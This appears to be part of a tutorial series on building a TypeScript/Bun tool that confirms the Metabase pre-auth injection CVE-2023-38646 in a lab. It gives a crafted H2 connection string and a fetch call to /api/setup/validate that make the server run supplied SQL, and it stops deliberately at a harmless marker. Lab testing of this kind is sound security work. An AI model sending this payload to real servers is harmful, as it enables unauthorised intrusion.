// Metabase Exploit Tooling with Bun · Part 4

Confirming the Injection

Build the H2 connection string, send it through /api/setup/validate, and confirm the injection primitive against the lab with a harmless SQL marker — proof it works, without going further.

TypeScriptBunMetabaseH2
3 min read

Part 3 walked the mechanism: a readable setup-token lets anyone reach /api/setup/validate, and that endpoint opens whatever H2 connection string we hand it — INIT and all. This part proves that primitive actually fires against the lab. It stops at proof: a harmless SQL marker that comes back in the response, not a shell. What a real attacker does with that primitive from here is the well-documented public advisory for CVE-2023-38646, not something this tutorial reconstructs.

What “confirm” means here

A connection string’s INIT parameter runs SQL the moment H2 opens the connection. If we hand Metabase a string whose INIT does something distinctive — say, selects a marker string — and that marker comes back in the API response, we’ve proven two things at once: the token worked, and the server ran SQL we supplied. That’s the entire vulnerability, demonstrated without writing anything that reaches the operating system.

Building the request

/api/setup/validate expects a JSON body describing the database to test. We only need the details object’s db field — the raw JDBC connection string — to carry our marker.

A marker SQL statement that’s easy to recognize and impossible to confuse with a normal error:

const MARKER = "ZDO_CVE_2023_38646_CONFIRMED";
const payload = `jdbc:h2:mem:zdo;INIT=CREATE ALIAS IF NOT EXISTS ZDO_NOOP AS 'void x(){}'\\;CALL '${MARKER}'`;

That connection string does nothing beyond declare a no-op alias and return our marker string — no filesystem access, no process spawning, nothing beyond SQL that H2 evaluates internally.

async function confirmInjection(base: string, setupToken: string): Promise<boolean> {
  const res = await fetch(`${base}/api/setup/validate`, {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({
      token: setupToken,
      details: { engine: "h2", details: { db: payload } },
    }),
  });
  const text = await res.text();
  return text.includes(MARKER);
}

We read the raw response text rather than parsing it as JSON — on a vulnerable target the marker turns up inside an H2 error message embedded in the JSON error body, not as a clean field, so a plain substring check is the reliable signal.

Running it

Wire it into recon.ts after the Part 2 enumeration step:

if (found.setupToken) {
  const confirmed = await confirmInjection(BASE, found.setupToken);
  console.log(`\nCVE-2023-38646 injection: ${confirmed ? "CONFIRMED" : "not confirmed"}`);
}
$ bun run recon.ts
{
  "version": "v0.46.6",
  "setupToken": "SETUP-TOKEN-PLACEHOLDER",
  "siteName": null,
  "authProviders": []
}

CVE-2023-38646 injection: CONFIRMED

That CONFIRMED line is the proof: an unauthenticated request made Metabase execute SQL we supplied. From a defender’s standpoint, that’s the entire severity of the finding — the gap between “runs our SQL” and “runs our commands” is a well-trodden, publicly documented path (H2’s alias mechanism can load arbitrary Java), and reproducing it isn’t necessary to understand or to report the bug. This tutorial stops here deliberately.

Where we are

The tool now fingerprints, enumerates, and confirms — three unauthenticated requests, one finding. Part 5 turns the script into a proper CLI: flags, a --confirm toggle so the injection check is opt-in, and clean exit codes for scripting.

← All parts